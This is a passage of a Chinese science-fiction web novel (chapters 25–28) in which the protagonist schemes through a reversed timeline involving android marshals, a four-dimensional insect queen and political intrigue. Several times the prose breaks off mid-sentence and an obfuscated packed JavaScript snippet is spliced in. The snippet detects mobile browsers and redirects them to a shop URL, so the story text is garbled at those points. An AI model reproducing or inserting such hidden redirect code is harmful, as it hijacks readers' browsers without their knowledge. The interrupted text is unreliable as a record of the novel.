安德烈的军装已经被血液浸透,下摆处滴落的血液已经快要汇聚成小流。手里的枪不是他自己的那把,大概是子弹打空从别人尸体上劫掠而来,枪口处刻有罗斯蒙德的家徽。挂在腰间的军刀也已经卷刃,刀鞘不知丢在那个角落。 他就那样坐在原地,神色疲惫地看着钟情,不发一言。 他脚下的血迹像是遵从着某种指引,汇聚成一个奇怪的图案。 那是钟情这半年间再眼熟不过的图案。 钟情在那一瞬间有些头疼。 纷繁的记忆碎片在他脑海中闪过,走马灯一样快速后退。 眼前的血泊、尸体,眨眼的下一秒就消失不见。 再下一秒,首都星金属的地板变成军区的木头,窗外荷花池的血水逐渐被泥土填平,万物生长,草木的香气直冲云霄。 窗帘上金属流苏变成棉质布料,洁白如云般堆在角落,缝隙中泄进一丝天光,一朵纯白的雪山玫瑰含苞待放。 一个又一个熟悉的人在他面前死而复生,修恩、戈雅、严楫、罗素,最后是亚德里恩。 黄色的复眼在记忆海洋中是最清晰的存在,他用如同预言一样的声音说道: “如果有朝一日时光倒流,我们就会再次相见。” 25. 向您求婚 时间真的倒流了。 但一切并没有完全回到过去,而是在过去的废墟上重组,重建出一段熟悉而又陌生的记忆。 钟情心跳如擂鼓。 他渐渐意识到这样的改变不是一朝一夕就能做到的,在他完全没有察觉的时候,改变就已经开始。 那些出现偏差的记忆、被他遗忘的摆放和姓名、偶然间身处异地的错觉,是有人在过去一遍遍尝试改变未来。 为什么会这样? 到底是哪一环出了问题? 钟情在心中焦急地呼唤系统,但世界线重置直接导致系统死机,半天都无法回应。 身后有人将他轻轻拥进怀里。 他听见那人在颈侧轻声道:“我只晚了一步。” 钟情张了张嘴,却无话可说。他万万想不到安德烈在长久的静默后会做到这一步,眼前记忆碎片流星般滑过,像被一只手牵引着,去往既定的方向。 钟情紧盯着那些画面,直到终于看见那个被自己遗忘的、神秘的图案。 原来他真的见过这个图案——在诺曼星上那些章鱼人的研究手稿里。 那诡异圆润的笔触,不是用什么柔软的笔尖书就,而是用柔软的触腕书写。 钟情对一切书籍都有着不错的兴趣,安德烈知道这一点,在攻下诺曼星后,将那里最大的图书馆搬回兰凯斯特。 他们的文字极难辨认,即使有系统翻译,还是看得一知半解。不过显然,无论是哪一方面,诺曼星人的研究都不比联盟差多少。 他们的热武器连联盟也不可小觑,只是因为不爱交际,所以不曾大力发展星际远航技术,只喜欢龟缩在诺曼星上,自给自足。 钟情想起曾经在安德烈书房里见过批准Alpha军团大量驻扎诺曼星的文件。 诺曼星被攻占下来后,人们默认这颗星球上的土著会被征召为开采铬矿和瑞铱金属的奴隶。 作为领导战争胜利的唯一一位元帅,这颗星球上的宝藏和奴隶理所应当成为安德烈的战利品。 所以那份文件没有引起钟情的注意,他那时候只以为是因为开采矿藏的人手不够。 但现在想想,诺曼星人形似章鱼,一个身子八条腿,何来的人手不够? 那颗星球上一定存在着某种比矿藏更加珍贵的东西。 既然诺曼星人并没有将与人类同样发达的物理学应用在星际穿越上…… 那么,他们省下来的精力与时间,都花在哪里了呢? 征服空间,是所有生物发展到一定程度都会产生的欲望。诺曼星人在这上面的成就平平无奇,便只剩下另一种可能。 他们征服了时间。 钟情冷静地接受各种熟悉或陌生的记忆在他脑海里横冲直撞、互相吞噬。他几乎是以一种旁观者的态度看待一段全新的记忆插进他的人生。 军校课堂上年轻的学生当着他的面捣蛋,逗得全班哄堂大笑。 下课后三个形影不离的好兄弟整日围着他转,张口闭口就是喜欢他。 毕业典礼上,他推开笑意盈盈亲吻他眉心的人,朝沉默着站在一旁的人微笑示意。 然后他们各奔前程。 糖霜子弹炸开,血雾漫天。 他在疼痛和医疗仪器的滴滴声中醒来,看见大门被撞开,总是沉默寡言地站在远处的人如今浑身鲜血,一步步朝他走过来。 他在病床边单膝跪下,喉咙里咳出大口大口的血沫。 他说:“向您求婚,钟上尉。” 这一次,晚了一步的人不再是他。 所有的碎片都嵌回时间线中,组成一段崭新的故事。尘埃落定,故事还是那个故事,故事的主角却已面目全非。 一切回到最开始的时候,那所军区的花房里。 门铃响了一声。 钟情走出房间,视线越过回廊的护栏向下看去,正好对上一双琥珀色的眼睛。 熟悉的、干净的脸上满是少年意气,即使亲眼见到所爱之人与最好的兄弟结婚,为此自我发配戍边三年,再次归来后,依然是这样发自肺腑的坦诚和开怀。 严楫热情地向楼上的人招手:“门没关,我就自己进来了。好久不见,安德烈!” 这之后他单独看向钟情,收敛过于夸张的动作,行了一个规规矩矩的军礼,可眼里还满是雀跃的笑意。 “好久不见,钟助教。” 就在钟情愣神的那一小会儿,严楫已经离开玄关,自来熟地走到客厅里,在沙发上仰躺下来。 “三年不见,难道你们一点都不想我?还不来接待我?” 钟情转头看向身边的安德烈。 他身上的血衣已经变成干净的家居服,此时正沉默地立在原地,目光既没有看向严楫,也没有看向他,只是随意凝视着虚空中的某处。 看来他也不确定时光倒流的结果。 钟情轻轻握住他放在雕花围栏上的手,轻声开口道:“严楫来了,元帅不下去看看吗?” 他的语气温和,眉目含情,就像是另一个时空里对待未死的严楫那样。 安德烈缓慢地转身,将视线一寸寸移到钟情身上。 钟情任他打量,丝毫不惧他的审视,仍旧用那副温柔贤妻的面具对着他笑。 片刻后,安德烈像是终于确定了什么,把他一把抱进怀中,用力得仿佛想要将他勒进骨血之中。 钟情恰到好处地展露出惊讶神色。 他很是善解人意的什么也没有问,轻轻拍着安德烈的肩背安慰他,然后用一种情人间调笑打趣的亲昵语气在他耳边说:“元帅再不松手,咱们就该在严楫元帅跟前闹笑话了。” 安德烈的指尖在听到“咱们”两个字的时候微微一动。 他松开手,怀里的人却主动牵过来,拉着他一路走下台阶。 严楫正捂着眼睛非礼勿视,听到脚步声时手指张开一个缝隙:“抱完了?” 钟情客气地朝他微笑致歉:“让严元帅见笑了。” 严楫也煞有介事地点头:“虽然我嘴上常说让钟助教你不要拿我当外人,但这些事情嘛……我还是当外人比较好。” 剧情按部就班向下演绎,没有玫瑰花和瑞云殿,话题还是在追忆往昔之后跳跃到冰淇淋上。 钟情起身准备去厨房,应客人的需求准备香草味的冰淇淋。 临行前他看着安德烈含笑问:“元帅呢?您想要什么味道的冰淇淋?” “随便。” “那便是——”钟情故意停顿片刻,见到安德烈瞳孔骤然紧缩后,他才饶有兴味地继续道,“一个香草的,两个蓝莓的。” 他伸手捏了下安德烈的耳垂,故作严肃道:“明明有喜欢的口味,非要让我猜。下次再说随便,就罚你睡一晚上客厅。” 安德烈扯了下嘴角。 他像是终于安心,嘴角的弧度越来越明显,最终定格成一个释怀的笑容,连带着总是阴沉沉的眉眼都开朗几分。 他低声承诺道:“再不会了。” 这幅温柔面目只维持到钟情的身影消失在转角。 几乎是在钟情走出视线的一瞬间,安德烈便回头面无表情地看向严楫。 “你该走了。” 正在往嘴里狂炫小零食的严楫:“?” “以后也不要再来。” “……” 严楫把腮帮子里的食物咽下去,又慢条斯理地喝了一口水润喉,这才朝他微笑着开口:“我还以为你起码会把这幅宽宏大量不吃醋的面具再戴久一点呢。没想到,这么沉不住气啊。” 他吊儿郎当地翘着腿,不要命地试图触怒面前的人。 “你在怕我什么?怕我勾走钟助教?那我只能说……你担心得很有道理。毕竟军校七年他都明显更偏爱我,只不过最后一步让你抢先了而已。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163299|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他哈哈大笑起来,笑声开怀爽朗,没有任何讽刺的意味,在任何人听来都只会觉得这是一场宾主尽欢的谈话。 安德烈没多给他一个眼神。 他摘下无名指上的戒指,放在手里把玩。戒指内环刻着A.L.的字母式样,银环素圈上镶嵌了一颗小小的水钻。 钻石折射的光辉很好地抚慰了安德烈的心情。 他只说了一个字。 “滚。” 半晌,严楫起身。在转身离开之前,他言辞恳切地请求道:“安德烈,别伤害他。” 钟情再次出来的时候,严楫已经不见踪影。 他端着三份冰淇淋不知道怎么办才好,而安德烈十分冷酷地替他做了决定:“把他的扔掉。” “诶?”尽管这个行为很任性浪费,钟情还是好脾气的接受了。 他看着安德烈大快朵颐,突然问道:“严楫元帅走得这么急,是军部有什么要事等着他处理吗?” “不是。”安德烈面不改色地说,“他家里着火了。” 很明显是一句玩笑话,钟情为了逗他假意当真,笑着准备起身:“那我们更得去看看了。” 角落座钟的布谷鸟突然弹出来报时。 安德烈一把按住钟情的手,生硬地转移话题道:“该吃药了。” 入夜时分,钟情终于不用再应付身边这个人时时刻刻的试探。 他闭上眼睛假装熟睡,实际上跟系统交流得正欢。系统刚刚重启,对这次的意外还心有余悸。 钟情道:【虽说是同一根支柱分裂而成,这两人身上的特质还是有很大不同的。相比起来,安德里明显有更强的占有欲,他的自毁倾向也比严楫严重很多。】 系统连连点头:【他的确更加极端。】 钟情思索着下一步该怎么走。 事情发展到这个地步,实在是超乎他的想象,系统现在除了点头拍手也什么也帮不了,一切最后还是得靠他自己来想办法。 如果他和严楫在一起,安德烈会想方设法杀掉严楫。 但这个时空里钟情中弹后,严楫重伤没能及时醒来,面对联盟中其他Alpha的虎视眈眈,他不得已选择其中最强大的安德烈。 安德烈得偿所愿,已经没有再次杀死严楫的必要。而严楫天性疏朗,重情重义,尊重钟情做的每一个决定,绝不会不经过他的同意就谋杀他的丈夫。 难道这回他得出个轨? 这念头一出钟情自己就立刻否决。 还是算了,万一又刺激到安德烈,让他再整出什么惊天动地的骚操作,这个世界还要不要活了? 钟情沉吟:【看来我必须要去诺曼星一次。】 【你去得了吗?】系统提醒道,【别忘了你的身体状况。】 血液里残留的针剂不断发挥着疗效,血管中传来微微刺痛,不断暗示着这具身体已经残破不堪。 钟情知道系统担心的不是他的身体,而是另一个人。 他不以为意地笑笑:【没事,向安德烈撒个娇,他会同意的。】 系统不解:【你想见诺曼星人,完全可以等安德烈他们攻下来再说。战场上混乱,你很容易被误伤的。】 【我知道。】钟情柔声道,【我不止为了见诺曼星人,还为了去见虫族。】 他现在对虫族十分感兴趣。 亚德里恩临死前在他手上留下含有信息素的血液,对他说时光倒流便一定会相见,就像是早在那时就已经预见了未来。 旧的女皇与严楫同归于尽,寄生后诞下新一任女皇。女皇新生,言谈行事却都十分老练,不似幼儿。 钟情只和它相处过非常短暂的一段时间,但已经足以让他认定,女皇的生而知之不是基因自带的遗传信息—— 或许,对于它们而言,根本就不存在死亡。 【系统,你听说过四维虫子吗?】 26. 倒反天罡 作为快穿局员工,钟情的灵魂和记忆不受位面限制。 安德烈的所作所为,只是让他多出一份与他有关的、被篡改过的记忆,原始时空中与严楫的记忆并未丢失。 但他的行事受位面剧情合理性的制约,角色扮演时必须时时刻刻配合人设和剧情。 也就是说,快穿局员工钟情还记得那些事情,并不代表兰凯斯特夫人“钟情”也记得那些事。 这具身体毕竟只是凡人,不像安德烈有一个芯片大脑,可以有大把手段留存住另一个时空的记忆。 无论钟情想要做什么,必须显得找一个合理的借口“恢复”曾经的记忆。 这个时空的安德烈就像另一个时空的严楫一样,无法拒绝他的任何要求。 他们不再是强迫与被强迫的关系,面对钟情那双温和含笑的眼睛,安德烈无法像另一个时空那样狠下心肠。 他也不敢破坏这来之不易的温情,所以只能任由钟情予取予求。 钟情借口舍不得离开安德烈,顺利登上星舰。 尽管已经给他安排到不需要那样急着赶路的后备军舰上,但是战事吃紧,行路速度还是远远超出钟情的身体能接受的范围。 路上忍着倒还好,一到目的地,他立刻开始发烧。 等他从昏昏沉沉地状态下清醒过来时,联盟与诺曼双方都已出兵。看看时间,应该很快就要走到严楫他们不得不去虫族老巢刺杀女皇那一步。 钟情爬起来给自己打了一针强心剂,潜进队伍末尾一艘陈旧的军舰上。 他摸了摸落灰的仪表盘,感应到他的体温,整座军舰缓慢地苏醒,光屏上浮现出一行文字。 “欢迎回来,主人。” 钟情眼中跃动着兴奋的光芒:“走吧,老朋友。我们该去做上次没能完成的事了。” 飞船发出隆隆响声,像是在回应。初时它步履还有些沉重,很快,舰尾喷出的气流不再滞涩,它向远方疾驰而去,消失在群星之中。 如果说系统还能对他有什么助力,那便是替他争取回一次OCC的机会。 上次暗杀严楫因为糖霜子弹的原因并没有成功,白白浪费掉仅有的OCC机会。系统向审判者据理力争,终于让分配者把机会还回来。 系统官司打赢了,高兴得不得了:【菜精,你这次还是打算炸严楫?】 钟情自认为自己还是个讲公平的人:【不,一人一次,这次炸安德烈。】 【哈?】系统震惊,【那你要OOC机会干什么?我花了一半积蓄贿赂审判长呢。】 钟情笑笑,没有回答。 星舰一路畅通无阻地穿过虫族包围区。这个时空的亚德里恩同样在临死前留下信息素记号,但没有再说那句“如果时光倒流”。 钟情来到虫巢腹地。 没有任何人发现他。不仅是因为虫族掩护,还因为这艘星舰外壳涂满了隐形漆料。当年他就是在这艘隐形军舰上装满弹药,想要和严楫一起尸骨无存。 透过舷窗,可以看见严楫已经降落在虫星。 安德烈操控枪炮替他开路,而他直奔女皇而去。 女皇居住在虫塔最高一层,身躯庞大无比,甲壳坚硬刀枪不入。严楫一路跑上塔顶,敏捷地和它交手,好不容易找到致命关键,刚插上一刀就被汹涌而来的虫潮逼退。 不过这也够了,女皇已经重伤,嘴里吐出的丝线都开始变得透明。 一击得手,严楫立刻摆脱战局。 他转身从虫塔跳下,安德烈驾驶战舰在半空中迎接他。一只虫族突然撞破塔身冲出来自杀式袭击严楫,还没来得及碰到严楫衣角就被安德烈一枪轰掉。 大概另一个时空里,严楫同样遇到了这次危机。而那一次的安德烈,因为看见了光屏上罗素博士发来的讯息,迟迟不能按下扳机,最后眼睁睁看着严楫葬身虫腹。 严楫在舷梯上站好,刚伸出手想要和安德烈碰拳,一发炮弹就精准地落入他们中间。 也不是那么精准,炮弹落下的位置略有偏差,严楫受冲击波及后退好几步,猛的一声撞在舱壁,而安德烈直接和舱壁一同被炸飞,落入虫潮之中。 严楫不可置信地朝炮弹飞来的方向看去。 那里被虫族密密麻麻护卫着,谁也不敢想象那里面会是一艘联盟军舰。舷窗的屏蔽板打开,露出一张严楫意想不到的脸。 钟情一直看着安德烈,想知道他现在是什么表情。 可惜虫族铺天盖地,女皇的丝线将他缠绕后,更是什么也看不见。 星舰开到严楫面前,舷梯放下,钟情跳到对面残破的甲板上。 严楫失声道:“为什么?他对你不好?” 钟情笑笑。 即使亲眼看见他杀人,严楫第一反应还是为他找理由。 他没回答严楫,环顾四周,来到仪表盘后按下一枚按钮。代表胜利和安全的讯息传到两个军团,远处传来飞行器的嗡鸣声,是联盟士兵正在赶往战场。 钟情兴奋地捏了捏手指,骨节发出咔咔的响动。 OOC机制开始启动了。 代表着接下来的一段时间里,他不必在严楫面前表演深情,甚至,他可以不必再忍受弹片在血管里游走的疼痛。 他直接一拳向严楫挥去。 天知道他想这么做有多久了。 七年军校助教生涯,他对每一个学生都一丝不苟,不容许他们不尊敬师长,也不容许他们怠慢课业。只有严楫,整整七年吊儿郎当,但打不得骂不得,连训练的时候也不能下狠手,得陪他上演一出情意绵绵剑和眉来眼去刀。 对于一个不服就是干的剑修而言,这是多大的煎熬啊。 严楫一直只守不攻,即使钟情一拳又一拳完全没有留情,他也没去抓钟情因过于兴奋露出的破绽,只是一个劲地问为什么。 钟情揍了个爽,看时间差不多了,自己主动朝严楫拳头上撞。不料严楫收手竟然这么快,拳风一偏,砸向钟情身侧的舱壁。 钟情:“……” 算了,他自己来。 他飞快摸出袖中的小刀,在掌心划了一条口子,把涌出的血也全部抹在脸上。 然后跑出船舱,凄惨地跌倒在甲板,朝飞来的两支军团喊道: “救命!严楫杀了安德烈!” 严楫:“……” 系统:【……】 * 安德烈生死不明,严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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或许就是这场战争之后,才让他们发现了穿越时空最关键的一环。 钟情读取完女皇挑出的那一段时间,适时地“想”起往事。 “我会履约,但不是现在。”他说。 女皇没有强求,只是在钟情额前轻轻一吻。他的背后突兀地生出双翅,下一秒就如同利箭般破空飞走。 缺失的记忆被补上,钟情终于不必再受剧情合理性的制约。 他可以继续去做另一个时空就想要做的事情。 系统已经完全傻了:【菜精,你到底想干什么啊?】 适时门铃响起,钟情打开门,认出来人后,心中朝系统自信一笑:【你很快就知道了。】 来人是严楫身边的次帅。 三年前,他也曾是钟情军团里的次帅。钟情退役后,他带领的军团便并入严楫的队伍里。 次帅有些坐立不安,他喝了一杯水后,像是终于下定决心,掏出一把战舰钥匙,单膝跪下奉在钟情面前。 “钟元帅,请您接管K6军团和J7军团!” 27. 无情有恨 按照联盟军法,主帅因为各种原因不能继续执掌军队时,应当由次帅暂管,维持军中秩序。 但此刻的诺曼星上,两大军团的次帅都没有能力阻止逐渐频繁发生的斗争。 Alpha崇尚权威,士兵对长官绝对忠诚,两位元帅之间的仇恨等同于两支军队的仇恨。 钟情那句“严楫杀了安德烈”一出口,两个军团之间的气氛就瞬间从同生共死的战友,变成同室操戈的仇敌。 J7军团的士兵憎恨严楫杀了他们的长官,K6军团的士兵憎恨安德烈抢走他们长官的爱人,致使长官最后犯下大错。 但是当钟情穿着一身雪白的丧服,手里拿着两枚象征军权的钥匙,从他们之间穿过时,所有人都不由自主停下来。 地面不知何时搭建起一座高台,钟情走上去坐下,两位次帅一左一右护卫在身后。瞬间所有人都明白过来。 他们终于放下武器,单膝跪下,就像对他们的元帅那样对钟情宣誓忠诚。 平静下来的士兵们听进去钟情的劝告,四散开去养伤。钟情应付完几位高级军官,回到自己的房间。 房间里已经有人在等待他。 听见脚步声,他回头露出一抹肆意邪气的笑。 “你好呀,兰凯斯特夫人。别害怕,我是修恩·罗斯蒙德。”他特意加重最后的姓氏,好让对面的Omega听清他的身份。 “我来这里,是为你转达一个来自议院的命令。” 他的眼神锐利得像鹰一样,紧盯着钟情脸上每一分细微变化。 “议长下令,严楫元帅残害同僚,就地处决。” 钟情迎着他的视线,不躲不避。 他猜到修恩大概会来。 这个时空,研究所同样打出那颗子弹,但安德烈捷足先登,研究所找不到机会将钟情送到严楫床上当间谍,只得作罢。 那么,有这样一个绝妙的机会可以处死诺亚,他们绝不会再次放过。 钟情的回答是:“我不能杀他。” 修恩毫不意外,但仍像是逗弄小宠物那样故意反问:“为什么?夫人,你也是联盟公民,怎么能违抗议院的命令呢?” 见钟情沉默不语,他自问自答道:“看来夫人对严楫余情未了啊。” 他一把拉过钟情,一路拉着他来到关押严楫的牢狱外。 他幸灾乐祸地说:“可惜真正的严楫早就死了,现在的严楫不过是一个会寄生的机器人。夫人通读历史,不会不知道机器人对联盟来说意味着什么吧?” “我凭什么相信您?” 修恩从口袋里掏出一封密令,在钟情面前展开。上面罗列着严楫数条罪状,审判结果下有戈雅龙飞凤舞的签名。 钟情接过来,一字一句地读着。 这副不愿意接受现实的模样极大地取悦了修恩,他开始循循善诱。 “夫人,早在两百年前,地球上的仿生人就已经开始模拟人类的感情,混入人类社会。他们可以伪装成任何一个人的梦中情人,因为他们没有自我,所做的一切都是为了欺骗。” “尤其是诺亚,他由七代中枢情感模拟模块分裂而出,能模仿出人类所有的情绪,只为打动你。这样的感情究竟有几分真几分假,我一个土匪,判断不了。但我曾读过你们古东方的一句话——非我族类……” 钟情打断他:“分裂?” 不是复制吗? “是的,分裂,怎么了?” 修恩诧异于他会在这两个字上钻牛角尖,好心解释道,“七代如果不自我分裂,没有任何人能承受住他的寄生。他将情感模拟模块和逻辑运算模块分别分裂到两具身体里,这么多年,罗斯蒙德只找到诺亚。杀了严楫,取出芯片,才能找到另一具身体的线索。” 钟情垂眸。 这个时空研究所的进展和另一个时空稍有不同,但相同的是,他们都没有找出安德烈的破绽。 真是奇妙,负责逻辑运算的精卫完美隐藏在人群之中,专供模拟人类的诺亚却在一开始就漏了馅。 难怪严楫和安德烈都没有七代的记忆,大概是芯片分裂后,掌管记忆的模块陷入沉睡。如果他们能够融合,成为真正的七代,或许就能——等等! 融合? 钟情心中突然涌现一个大胆的想法。 他用监牢里的人听不到的声音道:“匪首大人,杀了严楫,我能得到什么呢?” 修恩耸肩:“你会成为真正的Omega之光,会被全联盟拥护,任何一个Alpha都会拜倒在你脚下。” “莫非您没有听见他们宣誓?他们早就已经拜倒在我脚下了。我很好奇,匪首大人,如果站在您面前的是一个Alpha或Beta,您也会用这种可笑的条件来引诱他吗?” 钟情微笑,做出一个送客的动作。 “您还是先回去和议长大人好好讨论一下,该怎么讨好一个拥有两支军团的Omega吧。” 回到房间,钟情轻轻敲响窗边围栏。 金属发出富有节奏感的叮当声。 很快,有翅膀破空而来。女皇降落在他床前,不需要他开口,黑曜石一样的瞳色渐渐褪去,变成海水一样的湛蓝。 “吾知道汝想见谁。” “谢谢。” 下一秒,女皇平静空旷得如同虚无的眼神消失不见,取而代之的是一双沉重的、如灰烬般的眼睛。 甲壳褪去,变成完全的、安德烈的模样。 安德烈似乎想抬手,但在他手指微动的刹那,四面八方伸出黑洞洞的枪口将他包围住。 这些狙击手都是钟情为今天这次会面培养的亲卫。只需要他一个命令,就可以立刻把安德烈送到严楫隔壁去与他作伴。 安德烈没有一点身为阶下囚的狼狈,看过来的时候依旧目光如炬。 他的视线里没有怨恨或是不甘的情绪,他只是静静地看着钟情,似乎在等待他给出一个说法,或是一份判决。 钟情避开他的视线。 他还真没想好该用什么样的态度对待面前的人。 另一个时空里他受他胁迫,对他只该有满腔恨意。但在这一个时空,他们又实打实做过几年恩爱不疑的夫妻。 即使他已领教过人类社会的所有感情,也无法判断此时应该是爱多一点,还是恨多一点。 钟情索性不再纠结。 他问:“分裂的芯片还有融合的可能吗?” 安德烈一顿,很快将意外之色掩去:“有。” “要怎么做?” “杀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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偏爱严楫是因为他选定了这个人设,中弹则因为他只是一个Omega。 两个答案,一个不能说,一个不必说。 钟情慢慢开口:“或许这就是命运。每个人都有不可回避的命运,罗素博士的命运是打出那颗子弹,我的命运是嫁给你们当中的某个人。” 安德烈说:“我不信命。” 钟情猛然抬眼。 他一时间有些恍惚,眼前安德烈的身影逐渐和另一个人重合。 那个人也曾用这样落寞而坚定的语气说过这四个字,然后,他收剑入鞘,说: “无情有恨。” 陷入回忆只是一瞬间的事,钟情立刻清醒过来。 他挥手撤下亲卫:“成交。” 在甲壳重新覆上安德烈皮肤的时候,他突然问:“元帅,这真的是唯一的办法吗?” “不是。”安德烈的声音音调逐渐变得古怪,“我只是想要他死。” 最后一个字落下时,已经扭曲得近似虫鸣。 28. 兔死狐悲 “联盟一直以来在撒一个弥天大谎。” 钟情坐在严楫面前。 严楫被锁在一张铁质椅子上。这种椅子是专门拿来给受刑的囚犯用的,扶手和椅腿都有镣铐,可以牢牢锁住囚犯因受不了疼痛而不断挣扎的四肢。 但严楫姿态相当自然,仿佛坐在家里的沙发上。 钟情继续说: “他们骗Omega们说,只有Alpha的信息素才能帮助他们度过发情期,其实不是。” “发情期的意思是,在某个时间段里表现出交|配的强烈欲望,并且身体上也做好受精和怀孕的准备。这是联盟词典里的原话,一个字都没有提到信息素。信息素从来就不能抚慰Omega的情绪和身体,能帮Omega度过发情期的,只有交|配这种行为。” “信息素只是一种信息而已,用来标记领地、威吓同类。”钟情看着严楫微笑道,“就像狗撒尿一样。” “当年提出基因编辑计划的那群人,后代大多都是Beta。他们最清楚人为编辑基因的弊端,自然不会让自己落入这个境地。Alpha和Omega原本都是这个计划的牺牲品,但是那群人何其聪明。” “他们用军权吊着Alpha心甘情愿为他们抛头颅洒热血,又把Omega划定为第三性,赋予前者可以随意欺压的权力。AO本该是天然的盟友,在他们的诡计之下却变成宿敌。看起来三足鼎立,实际上一家独大。” “没发现这样的手段很眼熟吗?兰凯斯特家族和严家,也是他们故意放任成长起来的两个顶级世家,就等某一天,让这两个家族彼此挥刀相向,他们坐收渔翁之利。” 严楫静静看着他。 “如果我面前坐着的是一个真正的Alpha,他或许会想一个Omega怎么会知道这么多。可元帅不是。”钟情问,“那么,您究竟在想些什么呢?” “我在想,”严楫终于开口,“如果您早些将这些话告诉我,我会不留余地地帮您,钟教授。” 钟情无所谓地笑笑。 他才不相信什么“不留余地”。这番话如果被联盟里任何一个Alpha或是Beta听见,他立刻就会被送上军事法庭。 若不是实在没什么可聊的,他也不至于没话找话。 他现在十分后悔之前过于草率地将OOC机会用掉,导致现在只能坐在严楫面前和他大眼瞪小眼,却什么都做不了。 系统还在和分配者求情,求了半天也没求回个什么。 哎,还是得靠自己。 “仿生人真的会死吗?”钟情问。 “按照人类的说法,是销毁。” “那么,将您的芯片与安德烈的芯片融合,将您的记忆并入安德烈的记忆,算作销毁,还是算作重生?” 严楫没有否认这种可能,他只是道:“我不同意。” 钟情温声道:“我不是在征求您的意见,我只是在询问这件事的可行性。” “女皇在安德烈的身体上寄生,我已经向它承诺了那具身体的控制权。它是四维生物,您和安德烈根本拿它没有办法。” 严楫叹息:“果然是安德烈让你来的。” “果然?” 严楫抬头碰碰额角:“修恩·罗斯蒙德告诉我真相后,我便隐隐约约能感应到另一半芯片的存在。尤其是在不久之前,我感受到猛烈的杀意。” 钟情脑海中又在阴魂不散地播放那四个字: 无情有恨。 他从来不相信无情道会存在真爱,但现在他不得不承认,至少恨还是挺真的。 “阿情……” “钟情。” “好,钟情。” 严楫无奈一笑,“贿赂虫族、收拢军权、挑衅政部、融合七代,你算计了整个星际。你究竟要做什么呢?” 钟情看着他,微笑不语。 严楫并不强求:“动手吧,我不会反抗。” 钟情摇头:“我不能杀你。” “为什么?” “我爱你。” 钟情的回答脱口而出,快得就像是他的真心话。 严楫错愕片刻,随后低头,嘴角荡开一丝浅笑:“我一直都知道这具身体有异常,只是从来不曾往仿生人的方向想过,只以为是某种精神疾病。钟助教,您想知道我是什么时候发现的吗?” “和我有关?” “是的。”严楫声音带着几丝陷入往事里的恍惚,“您第一次对我笑的时候,我第一次感到快乐。” 他苦笑一声,“或许就是在那时被罗斯蒙德发现的吧。” 钟情轻声问:“那您现在快乐吗?” “我很快乐。” 钟情起身,缓步走到严楫面前,低头俯视着他。 “在另一个时空里,你我才是真正的夫妻。婚礼宣誓的时候,您说过,要送我一颗星球。” “我的确做过这样的美梦。” 钟情嘴角微翘,解开他手腕上的镣铐,然后向他伸出手。 “那么严楫元帅,您承认您在另一个时空的允诺吗?” 严楫失神般看着面前的那只手。而后他慌忙从领口处拽出项链,扯下坠在链条上的戒指。 他握住那只洁白如玉的手,替它戴上戒指,然后轻轻落下一吻。 “我承认。” “谢谢,我想好要哪一颗了。” 钟情歪头朝他微微一笑。 “我要地球。” 长久的凝视后,严楫开口:“我还是不明白。”他眼底泛出一丝璀璨的笑意,“但我答应你。” 他伸手蒙住钟情的眼睛,“阿情,闭眼。” 钟情:“……”忍了。 他乖乖闭上眼。 严楫握住他的肩,把他的身体转了个方向,然后松开手。 失去视力后,听觉就变得分外敏锐。 钟情听见有液体滴落的声音,越来越快,越来越多,由清脆变得混沌。 很快他手心被塞了一个片状物,尚带着温暖的体温。 有人在他身后推了一把:“阿情,走吧。别回头。” 钟情依言抬脚一步步向外走去。 在身后沉重的呼吸声彻底归于平静时,他蓦然回首。 严楫闭眼靠在椅背上,衣着整洁,神态安详,似乎只是睡着了。 身后那一整面镜子却映出他的后背,鲜血淋漓,巨大的伤口从后脑勺贯彻到脊骨,血液顺着椅腿流下,在地面汇聚成一汪。 他双手都沾满鲜血,手中紧握着一把匕首。 系统惊呼:【咦?那把刀怎么这么眼熟?是不是那把我让你藏在枕头下,新婚之夜给严楫一刀毙命的刀?】 钟情回道:【是。】 系统得意:【早让你听我的了。你看,兜兜转转,他还是死在这把刀上。】 钟情沉默。 他攥紧手里干净晶莹得就像宝石一样的蓝色芯片,对赶来的次帅吩咐道: “为他收敛。”顿了顿,他继续道,“把尸体送去罗斯蒙德。” * 钟情手里拿着两份密文。 一份是来自议院的嘉奖令,为执行处决命令的钟情授予骑士勋章。 严楫的尸体作为最好的投诚,让政部终于心甘情愿拿出这份诚意。 它与军部表面上一直各司所职,互不干涉,这次越过军部直接下令嘉奖钟情,等同于已经和军部撕破脸皮。 也该到这一步了。 安德烈异化,严楫死亡,最顶级的两个Alpha世家就这样分崩离析。 议院里那群Beta绝不会想到这一切都是区区Omega的谋划,他们只会一边感叹天助我也,一边全力以赴地抓住这个来之不易的机会。 诺曼星人投降,Alpha士兵对他们来说再无用武之地。 钟情都用不着派人前去打探,也能想到现在的罗斯蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 